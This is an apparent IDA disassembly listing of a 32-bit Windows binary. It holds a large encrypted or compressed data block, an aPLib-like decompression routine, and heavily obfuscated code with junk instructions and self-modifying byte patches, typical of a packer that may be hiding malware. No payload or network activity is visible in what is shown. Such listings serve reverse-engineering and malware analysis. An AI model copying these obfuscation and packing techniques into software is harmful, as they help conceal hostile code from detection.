15E99B47h dd 0F8064F8Ah, 0B944C723h, 0C344A658h, 4B5FD3C6h, 25D2B021h dd 0AAF6237Ch, 0EE981F95h, 0BF85C798h, 97F2CBFDh, 51D569DBh dd 95BF6FE4h, 0C260F90Eh, 1C0EA96Ah, 37DA9B3Ah, 0F667EFC0h dd 0DD7A2F47h, 0D67FD4Bh, 719F0D8Eh, 8E454E6Dh, 1DF9F6Ch dd 35A2854Bh, 0C0FE9F9Bh, 8D3F66B7h, 0CA55D852h, 5F430CD6h dd 452D1AAEh, 0DF7F798Bh, 0E6B8A8CAh, 4494CD1Eh, 2B44B3DFh dd 69AA4B7Fh, 0C2D8D466h, 222D067Fh, 4F3A0487h, 3DFCE16Dh dd 867CE60Fh, 0D6B044F9h, 229D426Eh, 744F1D54h, 611DE965h dd 1E189F1Ch, 6F1419EDh, 2B4EB72Dh, 79183B44h, 60B56CBh dd 38D174DFh, 9F2E6F23h, 8649D514h, 901C7EF0h, 516CC4A9h dd 9A9D3EBEh, 0DA453707h, 5EF6BD6Fh, 15ABEAEFh, 5AA2E2AAh dd 78A9AAE7h, 0E3768E81h, 0AED2B8A5h, 69CC884Ah, 0E26A5AA4h dd 5A996DF7h, 20B93969h, 9504AD3Eh, 8BF3A23h, 1B743EBFh dd 1712345Fh, 0B4CF818Ah, 14E0FA1h, 0B108D7DDh, 0DBE456CDh dd 6F2159E6h, 9147E247h, 146F1DEh, 956B74B4h, 471DEE16h dd 0EFF395DCh, 48451A13h, 3B25287h, 0A5BCF0Dh, 7C6D3C8h dd 0D56F0BFEh, 69FF3FE0h, 276CFBEAh, 0ACA8A3AEh, 52CE06Dh dd 3595F670h, 3FEC5ED0h, 0B58DC6DBh, 5733F8B8h, 0F353271h dd 0EB04574Eh, 9BD7FCFBh, 0F41C2AB8h, 0F0FC6FCBh, 928DCFC8h dd 1CC36EFCh, 0A05FB5BAh, 0E1E0403Dh, 0A8756206h, 0D9449742h dd 0BA0AEDE6h, 0DC9F370Ch, 0EE3365F4h, 0A3DF2FFh, 38945DA8h dd 17F82C58h, 1F54EA51h, 6F9C17F1h, 6A3BD782h, 45F85089h dd 0E5C2F6ABh, 0DCCA6C3Ah, 0AEFD8950h, 1E2E4A1Eh, 7DD65EDh dd 0C817E5CBh, 93BD7528h, 4B0491EEh, 0E2FF68A8h, 585C6B6Eh dd 0F0D06BF8h, 0CA87A8AEh, 0A19FCAEEh, 23CAEA1Eh, 3736E168h dd 8CE3AC98h, 77F154B1h, 0DD7EF362h, 0FEF87CDEh, 28E88C97h dd 0C2BADBBh, 7DFA6E55h, 0DBDFAB40h, 27F4292Eh, 0C19FECAAh dd 0BBE7A60Ch, 464F82EEh, 40A9BDD0h, 1E6A770h, 8D68D12Ah dd 18B7CAD2h, 1F5B18C0h, 0D67F7EAh, 0A9726926h, 6992DF52h dd 0A60B7F2Ah, 768CC534h, 992ADE07h, 0C7BA227Ah, 0DC1E1C7h dd 0D148D5Dh, 3C16A2FFh, 399F53D3h, 243C6F78h, 0D409D37Dh dd 0C92479D2h, 0BAFEB57Dh, 0B5BDC9D4h, 0B7D2D51h, 0F4BA69F6h dd 33185C17h, 0E6A05E78h, 6CAAE964h, 9AC7D60Eh, 0EE86E5DAh dd 0A16FB00Ah, 0EC9FED1Bh, 0AF14CCBAh, 886B3AF6h, 98BB7100h dd 0B3AFFA60h, 7D7EFE56h, 0E2D605BBh, 6F1BD308h, 46D12477h dd 0C556EDCFh, 1FD9A2C2h, 79BEAA98h, 0BCE16D5Ah, 57D2F6F2h dd 2F927776h, 0D0A9748Ah, 5D17DDCAh, 0AEB41B3h, 6E85F8A8h dd 5A22B381h, 0FF72AD9h, 249220FFh, 842B5A3Bh, 78D61924h dd 0FC3C0F16h, 8384B9F3h, 0BF1BD51h, 0CE756E77h, 0D1051D2Ch dd 561F80C5h, 3F768A02h, 90395C6Ah, 0FCB980DBh, 4E81FF97h dd 0B7152BFCh, 549D01D8h, 7A7E9285h, 45346C42h, 20E575B6h dd 0C0F6B8E5h, 0ECEB53DFh, 5F2AF732h, 627C0FEDh, 10020F87h dd 62EB6CA3h, 96F76AD2h, 0FE220EADh, 0D0DE2D50h, 2D6E6A69h dd 67F94840h, 0F90DAAC7h, 2840B5FEh, 0DCA5D2E7h, 0F079AAB0h dd 4DBD9514h, 0A6F91AF4h, 8BFAC21Fh, 0EF5077C3h, 165F1A38h dd 0D38E76C7h, 1467F6BFh, 44005BB8h, 0D4E07F32h, 0ED4492BCh dd 973278BCh, 0CF45742Ah, 0AB6A0053h, 0E992B532h, 499DF2F1h dd 65B12D45h, 417546FBh, 389DEE8Dh, 0F0780ECEh, 0F6FEEBB0h dd 80D69A04h, 579B2734h, 0EF45D9BEh, 0CCB6AF17h, 0B77F1A8Dh dd 0A626BF79h, 7DAA8E2Ch, 376BD42Fh, 0E0B87136h, 0D1C0C48Fh dd 2473D4BAh, 0A5776F25h, 0EB779E44h, 207CF556h, 0CF32792Bh dd 497FEE53h, 3065E64Bh, 55DA092Eh, 0BC7EA18Bh, 0E2A99D2Bh dd 0EC2C9ACEh, 72EA3154h, 0B7272F9h, 47869D49h, 1BE7A102h dd 9FDFADFFh, 0B4567D00h, 6DCA9AF7h, 1950B5B7h, 570C0FDAh dd 9BAFEA7Fh, 94B83AB6h, 0BE58DFDh, 0A0B21F83h, 0D929729Dh dd 0D9E18E03h, 0A59DE13Ch, 0CBCE0B37h, 895F2AF0h, 4FAF756Bh dd 4436F3A4h, 0BD2F9185h, 0BBF5CE1h, 7DF8CF08h, 0BB3E5A1h dd 992D3D8Fh, 8FE8AAA3h dd 1E032FC2h, 0F30FC378h, 0F8CD00DFh, 0B8DEEAF7h, 0B8F47E2Eh dd 1D9C839Bh, 89F6AAD6h, 3A3C095Ch, 17E0AE74h, 4664182Ch dd 346557ABh, 0DAB4AD40h, 0DC9EDC0Fh, 0A7898D08h, 361973B4h dd 0C664D746h, 92D1977Dh, 801B63C6h, 555875B6h, 0B657511Bh dd 37704561h, 66DCF291h, 0B47975D5h, 95123BCDh, 3FF5C41h dd 0B90DD917h, 741247F3h, 15B39591h, 53DEEAFh, 70A1827Dh dd 0EDCAF0F0h, 0EEE295D2h, 9CBFE442h, 5EB7AF0Ch, 0B3C1D709h dd 6F3C9E02h, 0E4D9EE36h, 0EE44CE62h, 0F49E602Fh, 0DCD0AB70h dd 3E1281E7h, 0D3032B72h, 92FC55D4h, 92F346AFh, 0B629C682h dd 0D5006602h, 0AA113A6h, 83BF945Ch, 3FE093CAh, 310FC7EEh dd 0CFAB0BFh, 1196E6E0h, 54EF6E2Bh, 9B54C451h, 0ACCE9213h dd 0D412C3A5h, 0A21CAFA7h, 0E269A66Bh, 0A06D1E9Ch, 63A4C808h dd 0B3B96773h, 76E144AAh, 3F228AE7h, 0CE6855F3h, 0F5B99975h dd 4E8A331Fh, 35505552h, 12DDCB38h, 64B38B60h, 0DC00A8B4h dd 14C65D0Dh, 2AF6316Ch, 0D6E22E25h, 0FD5B5A36h, 617E0B2Dh dd 0E5EDD3Dh, 0CE2A2B05h, 71AA2A89h, 0AEF025D8h, 0D32EC27Dh dd 0E6F3D46Dh, 1059D343h, 37E389C3h, 555A6FBCh, 0BE17D6D4h dd 51C6879Eh, 94B4CEF4h, 8B5A2C36h, 50DBDBFAh, 961F5475h dd 16885BCCh, 280F3F18h, 66FA2707h, 0D5DF303Fh, 3A265FE0h dd 59FD3E0Eh, 45CB0BB2h, 0C4ADB16Eh, 290A5F86h, 786FC10Dh dd 0C1F46BECh, 0BDB9CAC7h, 0EDA57F09h, 0A256173Fh, 69F2EA9Ah dd 0E4726F78h, 0B8BA6BDAh, 0D81ABEC6h, 0B729F99h, 0A5920EA1h dd 3614EFF0h, 0BA7C3292h, 0D9771942h, 4AEE7BAh, 719552A1h dd 5174F47h, 5F249352h, 2BDCEA2h, 5CDCE840h, 6876B60Fh dd 12A8DD9Fh, 8A43041Bh, 7A20625Ah, 35B6B523h, 0F272A1A1h dd 0E4A6C06Dh, 0E19D377Eh, 23C5ABAFh, 419FFFC9h, 79FEDDDCh dd 957497B6h, 0F3850C2Ch, 9FA91BA0h, 7157141Bh, 88ACA197h dd 8EE236AFh, 0BD68B251h, 454FAEDDh, 0E60611B0h, 4077AB01h dd 112E53Eh, 8E88AFE5h, 5669ECDFh, 7FCBBC59h, 45AC28DEh dd 0BDCE8EA8h, 0B81ADE7Ah, 4AEAC70Dh, 0D6D6D5ADh, 153BEECFh dd 0F5EC0F3h, 0A99DE2B9h, 0BE0F1A3Eh, 0B5A63CEh, 0FCB53CF3h dd 409F4586h, 0DF7D80D7h, 0FB77C0F2h, 0B0D588BCh, 9CBF0B83h dd 97B96097h, 2A9157E0h, 0C4E0F222h, 0EF63DA45h, 67781776h dd 7C7D1AA0h, 0ACEA1623h, 0E37775A2h, 0CB60D64Ch, 0EC8E0BF9h dd 730AF866h, 0AC1A8F3Ah, 8A6962C1h, 51634867h, 5EC0A3A8h dd 9B4BCAFCh, 0B5DEF9E3h, 0D943DE34h, 0C0C7E2B1h, 81FBD325h dd 3AC8397Fh, 3D6A4124h, 0F997F7EAh, 0E63CD8E1h, 7E392BFCh dd 2D524EF8h, 0D3155AAFh, 4D175157h, 43D1550Fh, 9A1F89EEh dd 28619ECCh, 0D0376B69h, 0AFA49200h, 0AF0232A5h, 6DD6F6FCh dd 575984EFh, 0D1639F73h, 0B4053B33h, 0F1C587E3h, 0A36ED7C6h dd 15D40EBAh, 1435D051h, 94553FBDh, 97D01701h, 67CF535Dh dd 4F74A95Ah, 273C8A8Dh, 76B43FD0h, 755F9593h, 8BB657C5h dd 65356E85h, 0B6FAA639h, 0DD88998Ch, 0E5A35F42h, 51D18EFEh dd 1D6241BEh, 895586E5h, 0A544A95Dh, 0B49D242Dh, 4A8E0EFh dd 0F7A79AE4h, 0D424EBA1h, 71E0D2D0h, 389E8891h, 0FDAD9A7Dh dd 20722D3Bh, 5CA079D5h, 0CFDE99B6h, 63313649h, 0CFDA6381h dd 0FB6A6BF7h, 5F6295E4h, 321F829Fh, 0ECC110BEh, 2B28AB47h dd 9688A73Ah, 24AA125Ah, 8A8E04C4h, 0EE9878Eh, 0B8093EA5h dd 5B7C968Ch, 0B7170C1Fh, 20B3B26h, 0EC473922h, 78836703h dd 0C555E584h, 5F8ED9FDh, 3D4F0C0h, 5FD882E1h, 607D5D9Bh dd 0CE1BA85Fh, 0C58EA174h, 142B0FD9h, 0E1D9E8DAh, 9EAD51B4h dd 57A64AE1h, 0F3600DEEh, 6BF9B825h, 67027739h, 0D488608Bh dd 0FC689C0Fh, 3CC8BF06h, 0FB03916Ah, 0D53FDB9Eh, 0BF7B19E5h dd 0E2515514h, 394AF4DDh, 0D3564527h, 0D979DCA4h, 0BFCB21FEh dd 0D357156Ch, 0CB9A664Dh, 0DCC5C497h, 518D3A98h, 55476419h dd 9FDC6D6Fh, 997EB14Eh, 649C0578h, 11457EC0h, 4EA601B3h dd 53D896FBh, 9A0E5FE2h, 76698F6Fh, 26D7F9Bh, 0A6CD3FBAh dd 0A417D403h, 0C071D07Fh, 1A60AEC1h, 73DCF2FFh, 9CDCDE4Bh dd 0AC728E24h, 0AED557E0h, 6A1A36C5h, 360274F7h, 0BECA490h dd 7151EE2Bh, 0FC092EA8h, 0E0A38529h, 0A170BB34h, 8F02193Ah dd 37CA9489h, 9FC774ADh, 6828B52Ah, 0E8A37072h, 0AAADA560h dd 671CD973h, 75105591h, 733F2068h, 0A361ED51h, 5D9C4AA6h dd 8A0B970Ch, 8E4BEAA9h, 1349A6F4h, 0E4AB2AB5h, 18A34714h dd 0C14AF8D8h, 5EC812F6h, 30968BF7h, 0AACB43ACh, 2C424350h dd 0D3C174BCh, 8571D629h, 3798E172h, 20EBE3D1h, 29BC507Bh dd 48350A5Ah, 3591AB2Ch, 0E1796EE6h, 0C1D69E95h, 7E401B48h dd 0FE7DA553h, 0CD25A2A2h, 0E912DB0Dh, 0FA990771h, 552E53EFh dd 28799124h, 0B9BAC08h, 0BF87D086h, 0ECF814D0h, 35512955h dd 0D4BFEA07h, 78BE2C5Ah, 9DD7DEFDh, 0BFBB85F5h, 0BB2015FAh dd 4CD4D0B5h, 0DA4D0448h, 0CC37EEE5h, 58FE6398h, 1F0CAB2Bh dd 16910B94h, 49DEB3CEh, 499A662Fh, 0EF864CFEh, 0EF96934Dh dd 0B618172Ah, 0CADEADFDh, 0B2E2E739h, 90A9FF68h, 2D167F2Ch dd 0FE70BFD1h, 0D7550E16h, 5FA3F98Ch, 83C96562h, 0F4DAC5C0h dd 0B81C3FB8h, 0B026E9E7h, 21F8DA87h, 71691BAAh, 71455B85h dd 1B0B8C96h, 9B8DAF55h, 5916D4D0h, 9D66221Fh, 8F37681h dd 7204D767h, 9FFDDCD4h, 8124356Ch, 0E9A60FD5h, 0A496C222h dd 11D9F563h, 0C9D921BCh, 9FA5EFE6h, 7F0C72CEh, 4F8B32EFh dd 7FC90412h, 0B79D6881h, 760EF2F0h, 8A14B753h, 16A8CE6Fh dd 0B58AECE6h, 0CD5D7C7Ah, 0CE5B5290h, 15FB4192h, 0E055155Bh dd 2181A765h, 0EA5570B1h, 0B9997065h, 0EFE215CBh, 0C51CECB5h dd 0DF89CE4h, 3BDD6462h, 99C54136h, 6DECF0Eh, 27D15D3Dh dd 7C5DF87Fh, 0B4D3E7E2h, 0B4B63D53h, 956C5FC9h, 7CFBB4F3h dd 646FB406h, 1F8C2BF4h, 13FDFC8Eh, 17D728B3h, 4A6E35CBh dd 0C85BBDCh, 7B7D5F39h, 68B55F42h, 6FD14750h, 629F69FCh dd 0FE450B0Fh, 5F52B39Ch, 2FCAB558h, 76D46506h, 0C8F81E6Ch dd 611637C3h, 3BB14951h, 54E5FC50h, 0B44EB215h, 0FB3820FCh dd 25FC35F1h, 0BD141AA0h, 887A3C18h, 6F1685C3h, 3DD9C9Ch dd 77AEC5FEh, 0D6691543h, 0BF03FA99h, 0E3713854h, 90ACEC6Bh dd 69856BD6h, 8F5DD868h, 0F7DAB376h, 59F815F6h, 7D6FC214h dd 0C6D1D326h, 7FA892Ah, 0BE9A3DF7h, 0FA0CED7Bh, 0BFB88h dd 62A675D3h, 3EA4F159h, 0AE6EF689h, 6BF99DA5h, 0C4CCDEC0h dd 0F11F5B78h, 195D66FBh, 2C9E6633h, 0C5A346E6h, 0C0BDE330h dd 0B8E0E79Bh, 98F2CDFCh, 0B160D842h, 0FD2AB9BBh, 6A6CA5DDh dd 9596D0D1h, 94B935CAh, 0F32B77BEh, 0B2358913h, 0B6F98247h dd 0F86D9D71h, 0AFF9BED7h, 0A0B18F7Ch, 9AEB0B90h, 0F5717365h dd 0A36F6A9Bh, 0A9F62497h, 2BBC9757h, 0CF8B2383h, 0BC4F177Eh dd 1C37621Fh, 0E0EAAADFh, 0CDB3D8AAh, 64908B45h, 0BD77B59Bh dd 0C547FBF5h, 6B47AF15h, 3D9F84B7h, 22D8097Dh, 58E40FA2h dd 0BAD0AA7Dh, 0FF3689A5h, 6C17FE91h, 951D08BFh, 0DDDF0750h dd 0E7C2B33h, 27F0A502h, 78AA4170h, 0F894B0A5h, 0A9F8CAFFh dd 123E5C3Fh, 5647C5Dh, 62F9C3CAh, 0AB07D68Ah, 0B1511BFDh dd 7D15FA95h, 4EBC097Fh, 0F573555h, 0F70D5374h, 0FC4652F5h dd 0B27E12F5h, 0D5CB57BFh dd 0AD2659D5h, 26D1E8A8h, 7F8B47D5h, 0D917FC2h, 7407DFA5h dd 9DFDBA1Ch, 7F635EE6h, 0DC5322ABh, 83CD9FCBh, 2C1C5A24h dd 927EF4A3h, 0A37390BFh, 0B51A42DFh, 1A18B45Eh, 0B710A1ADh dd 0E76C04C7h, 0D547029Eh, 8C095D6Fh, 565E622Dh, 1C7B4F53h dd 3381E066h, 0A6796BF8h, 494556CCh, 0BCFA95F1h, 0B2CB3E4Ah dd 0B7DCCEE3h, 1DE7B04Dh, 5D6B0B6Fh, 0C6769E45h, 0F7AA33FBh dd 9B47DFFh, 96CA7814h, 0EC7B8EA1h, 0DA8073E6h, 0CDAAA44Bh dd 8083FAEAh, 3A9188BFh, 0F63A07AFh, 9BBA97FAh, 4B8AA2FDh dd 772FAD75h, 4AF90BA1h, 15F7E9BBh, 28A54D5Dh, 1DD389ECh dd 57D9414Bh, 46EDF45Ah, 6F26C025h, 3ED2483Eh, 2036055Fh dd 0B3255324h, 0C0F7B23Ah, 4CDBF9A5h, 6E7FB689h, 5F1B61C5h dd 77A98D8Fh, 4BC5632Fh, 0E885E668h, 10F2FE0Eh, 0B7CDBE00h dd 48877463h, 0FB608DD1h, 6BB87899h, 58A2FEEFh, 8FA00DBCh dd 817F2AEBh, 0EC405A65h, 77E94F05h, 4746E64Ah, 1556EC51h dd 6E4B5B68h, 0CEB942DDh, 180BFF69h, 27A2A81Ah, 9B6BF027h dd 0F66BEA0Eh, 9E3FD237h, 8A78A092h, 36FDC35Fh, 5837B6CAh dd 0D1843CDAh, 0BAD652DEh, 970263C1h, 5130074Fh, 41FC71CAh dd 0D07B0404h, 2FA2F1DDh, 2091F4DCh, 56B12DE1h, 5A3334D1h dd 63FCF657h, 56CBB013h, 0DAA3920Dh, 0E9C6ABE5h, 0AA7D16h dd 0B703FFCh, 38ABF983h, 968A24F0h, 11F6FE51h, 0F657F97Fh dd 33DCC048h, 5752C732h, 475A79BDh, 0B1CE1D4Ch, 0F63A8BE1h dd 5316E379h, 0F5C65DCBh, 0FB59E4C0h, 0F2BFBEAEh, 176B0FF0h dd 5080A6C7h, 0CDE1157Bh, 550AAFF7h, 55B838D5h, 0E9F29800h dd 0D7D34CBAh, 8557EEA3h, 34912A52h, 5ADCA4CDh, 55EC1A80h dd 0AFA47F2Bh, 0B475FF56h, 9E3855ADh, 795E0F1Ah, 8F2B4BFh dd 0D9B07778h, 0E4AAAE0Fh, 2016E92Ch, 0B03A1481h, 0D8F53E33h dd 0E31C6B44h, 35D105BAh, 51650788h, 0E99CE63h, 0C5D4E070h dd 95AC2EFCh, 0E95E2247h, 56926F77h, 0CEA58BEAh, 0AFBD4955h dd 0DE86B48Eh, 2736315Ah, 4CB4556Ch, 4C807395h, 0C72BF10Fh dd 0C1CA3EAAh, 0FC608AF9h, 0B69AAF08h, 192B9D59h, 0B2EE43F0h dd 5B97D88Ch, 2F8FE17Eh, 555289AEh, 781EB57Ah, 7B2F729h dd 0E248325Fh, 2B135890h, 0D524C8B1h, 0DF81D824h, 1A24F9BEh dd 0DCFE34CFh, 9CA141AEh, 7EDD6317h, 370FAFCDh, 6786EA4Bh dd 0B76F9EBFh, 0F6AA72FAh, 383E0841h, 0FBA635FBh, 4792A947h dd 0FD562470h, 5F8AAD8Eh, 918F7CF0h, 0C220389Bh, 0AE6730BEh dd 0E7A1A90Fh, 0D5FBBD3h, 0AC18DF0Dh, 0B80AFC65h, 496837B8h dd 1FF64FB3h, 0B1EB816Eh, 0EAF78B38h, 0A1350BF8h, 3C2F6F95h dd 4D7B8D5Eh, 0AC542D16h, 79EAC159h, 0F487E028h, 0CE9AA7DFh dd 857DDE5Bh, 9C53BE95h, 0A7DB594Bh, 6F6114FBh, 40709540h dd 33A0383Fh, 52D4D938h, 12BD37D2h, 0D1F9BA88h, 7FF2E0FBh dd 2B3616E6h, 7B621E16h, 0C57E0D6Fh, 0B4A2D1DDh, 0BF83FEC6h dd 0D3C1E5BAh, 0C5D6CA5Ch, 0BBDEF375h, 873D1249h, 6467D5CBh dd 50D6C075h, 3E0AEC87h, 985CBF79h, 1BDF4BE1h, 8555B1C4h dd 6A50730Bh, 0CE021D27h, 4577204Eh, 15EB3BBAh, 5EECBC19h dd 9B5DBADEh, 0A6A982FFh, 85DEE3A9h, 51489366h, 1A3BAA36h dd 0BAA41F5Dh, 0EC70425Dh, 0EB7A1DC6h, 8F2B31AFh, 16C57ACFh dd 0FB290000h, 6132h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E5F8 proc near ; DATA XREF: sub_432AFD+3Ao var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042E777 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_42E73A add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_42E629: ; CODE XREF: sub_42E5F8+46j ; sub_42E5F8+8Dj ... xor eax, eax call sub_42E741 jnb short loc_42E640 mov ecx, [ebp+var_10] call sub_42E759 add al, [ebp+var_11] loc_42E63D: ; CODE XREF: sub_42E5F8+65j stosb jmp short loc_42E629 ; --------------------------------------------------------------------------- loc_42E640: ; CODE XREF: sub_42E5F8+38j call sub_42E741 jb loc_42E6E2 call sub_42E741 jnb short loc_42E6AD mov ecx, 4 call sub_42E759 dec eax jz short loc_42E63D jns loc_42E72C call sub_42E741 jnb short loc_42E687 push ebp loc_42E66D: ; CODE XREF: sub_42E5F8+8Aj mov ebp, 100h loc_42E672: ; CODE XREF: sub_42E5F8+83j call sub_42E74E mov [edi], al inc edi dec ebp jnz short loc_42E672 call sub_42E741 jb short loc_42E66D pop ebp jmp short loc_42E629 ; --------------------------------------------------------------------------- loc_42E687: ; CODE XREF: sub_42E5F8+72j mov ecx, 1 call sub_42E759 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_42E629 call sub_42E74E mov [ebp+var_11], al jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E6AD: ; CODE XREF: sub_42E5F8+58j mov ecx, 7 call sub_42E759 push eax mov ecx, 2 call sub_42E759 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_42E6CF mov ebx, eax jmp short loc_42E72D ; --------------------------------------------------------------------------- loc_42E6CF: ; CODE XREF: sub_42E5F8+D1j cmp ecx, 2 jz short loc_42E73A inc ecx call sub_42E759 mov [ebp+var_C], eax jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E6E2: ; CODE XREF: sub_42E5F8+4Dj call sub_42E765 dec ecx loop loc_42E6F3 mov eax, ebx call sub_42E765 jmp short loc_42E72D ; --------------------------------------------------------------------------- loc_42E6F3: ; CODE XREF: sub_42E5F8+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_42E759 or eax, ebp pop ebp mov ebx, eax call sub_42E765 cmp eax, 10000h jnb short loc_42E72A cmp eax, 37FFh jnb short loc_42E72B cmp eax, 27Fh jnb short loc_42E72C cmp eax, 7Fh ja short loc_42E72D inc ecx loc_42E72A: ; CODE XREF: sub_42E5F8+11Cj inc ecx loc_42E72B: ; CODE XREF: sub_42E5F8+123j inc ecx loc_42E72C: ; CODE XREF: sub_42E5F8+67j ; sub_42E5F8+12Aj inc ecx loc_42E72D: ; CODE XREF: sub_42E5F8+D5j ; sub_42E5F8+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E73A: ; CODE XREF: sub_42E5F8+19j ; sub_42E5F8+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_42E777 sub_42E5F8 endp ; =============== S U B R O U T I N E ======================================= sub_42E741 proc near ; CODE XREF: sub_42E5F8+33p ; sub_42E5F8:loc_42E640p ... add edx, edx jnz short locret_42E74D mov edx, [esi] add esi, 4 stc adc edx, edx locret_42E74D: ; CODE XREF: sub_42E741+2j retn sub_42E741 endp ; =============== S U B R O U T I N E ======================================= sub_42E74E proc near ; CODE XREF: sub_42E5F8:loc_42E672p ; sub_42E5F8+A8p mov ecx, 8 call sub_42E759 retn sub_42E74E endp ; =============== S U B R O U T I N E ======================================= sub_42E759 proc near ; CODE XREF: sub_42E5F8+3Dp ; sub_42E5F8+5Fp ... xor eax, eax loc_42E75B: ; CODE XREF: sub_42E759+9j call sub_42E741 adc eax, eax loop loc_42E75B retn sub_42E759 endp ; =============== S U B R O U T I N E ======================================= sub_42E765 proc near ; CODE XREF: sub_42E5F8:loc_42E6E2p ; sub_42E5F8+F4p ... xor ecx, ecx inc ecx loc_42E768: ; CODE XREF: sub_42E765+Fj call sub_42E741 adc ecx, ecx call sub_42E741 jb short loc_42E768 retn sub_42E765 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_42E777: ; CODE XREF: sub_42E5F8+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- align 4 loc_42E77C: ; CODE XREF: fzj3qwht:00431278j ; DATA XREF: sub_432AF7o ... xchg ecx, [esp] pop ecx or eax, eax jnz locret_42FA0B push offset loc_42FA05 jmp locret_42F9F2 ; --------------------------------------------------------------------------- dw 0F00h dd 2D83h, 0DF2B5600h, 5579F081h, 0DAE97BE9h, 2Eh, 0C300h ; CODE XREF: fzj3qwht:loc_42FB05j dd 0A84AA9BAh, 0F4840FE6h, 0E9000030h, 3C2Bh, 7C870F00h dd 8B000023h, 8C0F005Dh, 2B0Fh, 0D852E881h, 0F881A4B4h dd 0D7897CECh, 0EBDE9h, 24348700h, 0E8C7815Eh, 89B3ED6Eh dd 40F0E907h, 0D5810000h, 0F37DDA44h, 2D52E9h, 34870000h dd 0FAE85E24h, 0C3000024h, 0F4DE9h, 74858B00h, 68FFFFFFh dd 4323D0h, 170AE9h, 0F000000h, 34F984h, 0FF850F00h, 0E900001Dh dd 188Dh, 0E900C300h, 16Ch, 34E900h, 0 ; --------------------------------------------------------------------------- loc_42E83C: ; DATA XREF: sub_430917+1CBFo call sub_432992 mov ds:byte_43219D, 0E8h mov ds:byte_43054D, 87h mov ds:byte_430550, 5Eh mov ds:byte_430551, 0Fh mov ds:byte_431DCE, 0Fh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h ; CODE XREF: sub_4301AC+11EAj dd 16D7h, 0E9C300C3h, 2DD0h, 0F6810000h, 0A7D55A35h, 0FFFF79E9h ; DATA XREF: sub_431410:loc_42FE63o dd 0C300FFh, 298FE9h, 51000000h, 430ECDB9h, 363CE900h dd 0 ; --------------------------------------------------------------------------- loc_42E898: ; DATA XREF: fzj3qwht:0042EFF7o xchg edi, [esp] mov eax, edi pop edi and eax, 5B675CFFh rol eax, 18h jmp loc_4310CB ; --------------------------------------------------------------------------- dd 0EE80000h, 0C3000000h, 3A65E900h, 64E90000h, 13h, 0DD8B5300h ; CODE XREF: fzj3qwht:0043173Dj dd 1442E9h, 0F7330000h, 6D4E9h, 8890000h, 1DC8E9h, 237DE800h dd 0B4E90000h, 0Fh, 0AB3E900h, 0 ; --------------------------------------------------------------------------- loc_42E8EC: ; DATA XREF: fzj3qwht:00432581o add eax, ebp loc_42E8EE: ; CODE XREF: fzj3qwht:00430260j push edi push 7A10CB36h pop edi or edi, 0B4026B69h add edi, 2C64EABFh jmp loc_430FB4 ; --------------------------------------------------------------------------- align 4 loc_42E908: ; CODE XREF: fzj3qwht:00432272j mov byte ptr [edi], 0Fh pop edi add ecx, 0DB520Bh push offset loc_42F7FD jmp locret_42F7F7 ; --------------------------------------------------------------------------- dd 0FA810000h, 26F63A9Dh, 3900E9h, 0F000000h, 4C984h, 234CE900h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F11 loc_42E938: ; CODE XREF: sub_431F11+80Dj pop edi and esi, 44D2FDBDh xor esi, 0FBEF6A7Ah call sub_42EFCF add al, ch ; CODE XREF: sub_43052F:loc_4308D6j xchg eax, esi push cs ; END OF FUNCTION CHUNK FOR sub_431F11 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_42E950: ; CODE XREF: fzj3qwht:00431C4Cj jmp loc_431118 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h ; CODE XREF: sub_431410+642j dd 0E32h, 4C083C3h, 43117D68h, 784E900h, 0 ; --------------------------------------------------------------------------- xor eax, 0AE6DD5A0h or eax, 18CF1777h add eax, 553FC9Fh jmp loc_43231A ; --------------------------------------------------------------------------- align 4 dd 0FDB95100h, 0E90042FBh, 1CF2h ; =============== S U B R O U T I N E ======================================= sub_42E990 proc near ; CODE XREF: sub_431410+60Ep xchg ebx, [esp+0] pop ebx call loc_431480 and edx, esi jmp sub_4316FE sub_42E990 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 dw 0F581h dd 6F84440Dh, 0FDE5840Fh, 27E9FFFFh, 39h, 0E900C35Eh, 0F0Dh dd 0CC680000h, 0E9004311h, 3DF2h, 5B241C87h, 878702C6h dd 0D68B2434h, 81D5035Eh, 3C2D5CC2h, 2454E926h, 0C30000h dd 1DEAC100h, 0D04FC581h, 16E9262Ch, 0Eh, 8B45C700h, 65746365h dd 648F4565h, 56005B20h, 34A65E55h, 31A2E924h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42EA10: ; CODE XREF: sub_4301B7+149Aj jnz loc_42ED1B rol ebx, 12h jmp loc_42ED0A ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 10h jb loc_42F7E6 js loc_43128E jmp sub_430315 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- adc al, 24h pop edx mov byte ptr [eax], 87h call sub_431AED loc_42EA3F: ; CODE XREF: fzj3qwht:0042F802j jmp locret_431508 ; --------------------------------------------------------------------------- dd 